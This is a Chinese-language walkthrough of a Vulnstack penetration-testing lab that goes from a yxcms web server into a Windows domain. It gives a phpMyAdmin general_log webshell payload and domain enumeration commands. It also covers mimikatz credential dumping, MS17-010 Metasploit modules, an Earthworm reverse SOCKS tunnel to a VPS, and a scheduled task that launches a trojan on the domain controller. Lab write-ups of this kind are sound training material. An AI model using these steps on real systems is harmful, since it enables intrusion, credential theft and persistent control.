靶场地址与介绍:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
漏洞利用
1.漏洞搜索与利用 2.后台Getshell上传技巧 3.系统信息收集 4.主机密码收集
内网搜集
1.内网--继续信息收集 2.内网攻击姿势--信息泄露 3.内网攻击姿势-MS08-067 4.内网攻击姿势-SMB远程桌面口令猜测 5.内网攻击姿势-Oracle数据库TNS服务漏洞 6.内网攻击姿势-RPC DCOM服务漏洞
横向移动
1.内网其它主机端口-文件读取 2.内网其它主机端口-redis 3.内网其它主机端口-redis Getshell 4.内网其它主机端口-MySQL数据库 5.内网其它主机端口-MySQL提权
构建通道
内网其它主机端口-代理转发
持久控制
1.域渗透-域成员信息收集 2.域渗透-基础服务弱口令探测及深度利用之powershell 3.域渗透-横向移动[wmi利用] 4.域渗透-C2命令执行 5.域渗透-利用DomainFronting实现对beacon的深度隐藏 6.域渗透-域控实现与利用
痕迹清理
一下是整个靶场拓扑结构:
Web服务器:
Windows7(内配有phpstudy web环境)
模拟外网ip:192.168.161.129
内网ip:192.168.52.143
域内主机:
Win2K3 Metasploitable
内网ip:192.168.52.141
域控:
Windows 2008
内网ip:192.168.52.138
以上内网无法与外网通信,只有win7可以连通内外网。
下面我们开始实战!!!
外网初探
访问web服务器win7的模拟外网ip——192.168.161.129
是web一个站点,并且在右边“公告信息”处泄露了后台地址——/index.php?r=admin
,我们登录后台,从网上查得yxcms的后台默认密码后登陆:
登陆成功
发现在前台模板功能里面可以直接编辑php文件,我们一可以直接写入webshell并连接
我们在acomment.php中写入
保存后,我们接下来就要想办法找到这个acomment.php所在的目录了,我们扫描一下后台
发现好多目录,这里我们发现这个cms存在目录遍历漏洞:
这个时候只要浏览找出刚刚修改过的页面就可以使用shell连接器连接了。
这里还有一个方法就是我们发现了这个web服务器上面有phpmyadmin,那么我们可以登陆进去,这里是靶机,自然就是弱密码了(root/root):
phpmyadmin后台getshell的常用手段有以下几种方式:
1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
执行以下sql语句
show variables like '%secure%';
发现没有写入权限,无法用select into outfile方法写入shell。我们再来看一下第二种方法,利用全局变量general_log去getshell
我们将全局日志开启并将保存日志的目录设为web目录
set global general_log=on;# 开启日志
set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录
设置成功
此时执行如下语句即可写入webshell到hack.php中
select '<?php eval($_POST[whoami]); ?>'
用蚁剑连接即可
杀入内网
我们发现我们刚刚拿到的shell是个管理员的shell
那就太好了,接下来我们要做的就是信息收集,为之后的杀入内网做准备
初步收集
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
路由信息:
收集到一下关键信息:
该域名为god.org,域控为OWA$
,域管理员为Administrator
,内网网段为192.168.52.1/24,我们用Ping命令探测域控的ip
ping owa.god.org
可知域控ip为192.168.52.138。
接下来我们在win7本地主机创建一个whoami用户,并加入到管理员组中
然后设法远程桌面登录,查看3389是否开启:
netstat -ano | find "3389"
发现是开启的
如果没开启则利用以下命令来开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
尝试用whoami用户登录远程桌面连接却失败了,nmap扫描3389端口发现状态为filtered,看来是被防火墙给过滤了。这时我们可以反弹一个msf的shell回来,然后用enable_rdp
尝试关闭防火墙。
这里,我为了实验环境的真实,把我的攻击机kali当做了一个处于另一个局域网的主机,并用frp将msf映射到外网vps上面来实现对 “远程” windows7的控制:
生成并上传木马
执行木马并在kali上面监听
成功上线。
由于是administrator用户,所以很容易变提权了
执行run post/windows/manage/enable_rdp
模块来关闭防火墙,并使用rdesktop打开远程桌面
成功开启远程桌面。接下来我们进一步进行信息收集。
抓一下hash
失败了,我们用msf自带的模块进行hash抓取
meterpreter > run post/windows/gather/smart_hashdump
我们再上传并使用mimitakz(实战中需要免杀处理)进行抓取
先进行权限提升
privilege::debug
然后使用
sekurlsa::logonPasswords
此时我们已经获取到了administrator(域管理员)的明文密码——Liu78963
接下来我们进一步渗透入内网,对域中的其他主机进行渗透。
进一步深入(横向移动)
我们用以下方法探测内网存活的主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 用Ping命令探测内网主机
探测到一台内网主机,ip为192.168.52.141。我们添加一下路由,对该主机进行渗透
探测是否存在ms17_010:
发现存在漏洞,尝试攻击
攻击失败了。用msf内置的17-010,失败是经常的事情,打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,server 2003很容易就蓝屏了。可以尝试了一下github上的windows 2003 – windows 10全版本的msf 17-010脚本(ms17_010_eternalblue_doublepulsar)。我们可以尝试直接打开该主机的远程桌面,由于该主机处于内网,我们的攻击机相对之处于外网,无法直接与内网中的主机通信,所以我们需要用Earthworm做Socks5代理作为跳板进入内网获取更多主机。
在我们公网vps上面开启Earthworm监听
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是添加一个转接隧道,监听1234,把本地1024端口收到的代理请求转交给1080端口,这里1024端口只是用于传输流量。
上传ew_for_Win.exe到win7受害主机,并在win7上面启动socks5服务器并反弹到vps上面
ew_for_Win.exe -s rssocks -d 39.1xx.xx9.xx0 -e 1234
再配置好proxychains:
这样内网主机win2003就可以通过vps与攻击机kali通信了,这里要知道,我们在msf上设置路由是为了让msf可以通信到内网其他主机;而我们设置代理是为了让攻击机上的其他工具可以通信到到内网的其他主机。
用nmap扫描win2003的3389端口,发现其没有开启:
proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141 # -Pn和-sT必须要有
我们用auxiliary/admin/smb/ms17_010_command模块执行命令将其开启:
再次扫描就开启了
开启远程桌面
在这里,我用的是先添加一个用户,然后使用 exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,因为这个模块需要你去指定一个管理员用户。
先用auxiliary/admin/smb/ms17_010_command
来添加一个用户
并将这个用户加入管理员组:
查看一下可见添加成功了:
然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,在多次尝试后终于成功了:
并且是最高权限。
先查看有那些补丁没有打..
run post/windows/gather/enum_patches
这打的补丁也太少了吧……
win2003拿一下了,接下来就是杀入域控了
杀入域控
我首先想到的是ms17_010,但他也失败了,因为之前的信息收集中我们已经拿到了域管理员administrator的密码——Liu78963,我便尝试远程登录。
失败,也是因为没有开启3389
尝试开启却失败
只能换一种思路,我们这里通过win7在域控上面上传一个msf马。
先用win7连接域控的c盘共享
net use \\192.168.52.138\c$ "Liu78963" /user:"administrator"
使用dir 就可以查看域控的资源了。
将win7主机上的shell.exe上传到域控上
copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$
设置一个任务计划,定时启动木马之后就能够获取域控的shell了
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 18:05 /S 192.168.52.138 /RU System /u administrator /p "Liu78963"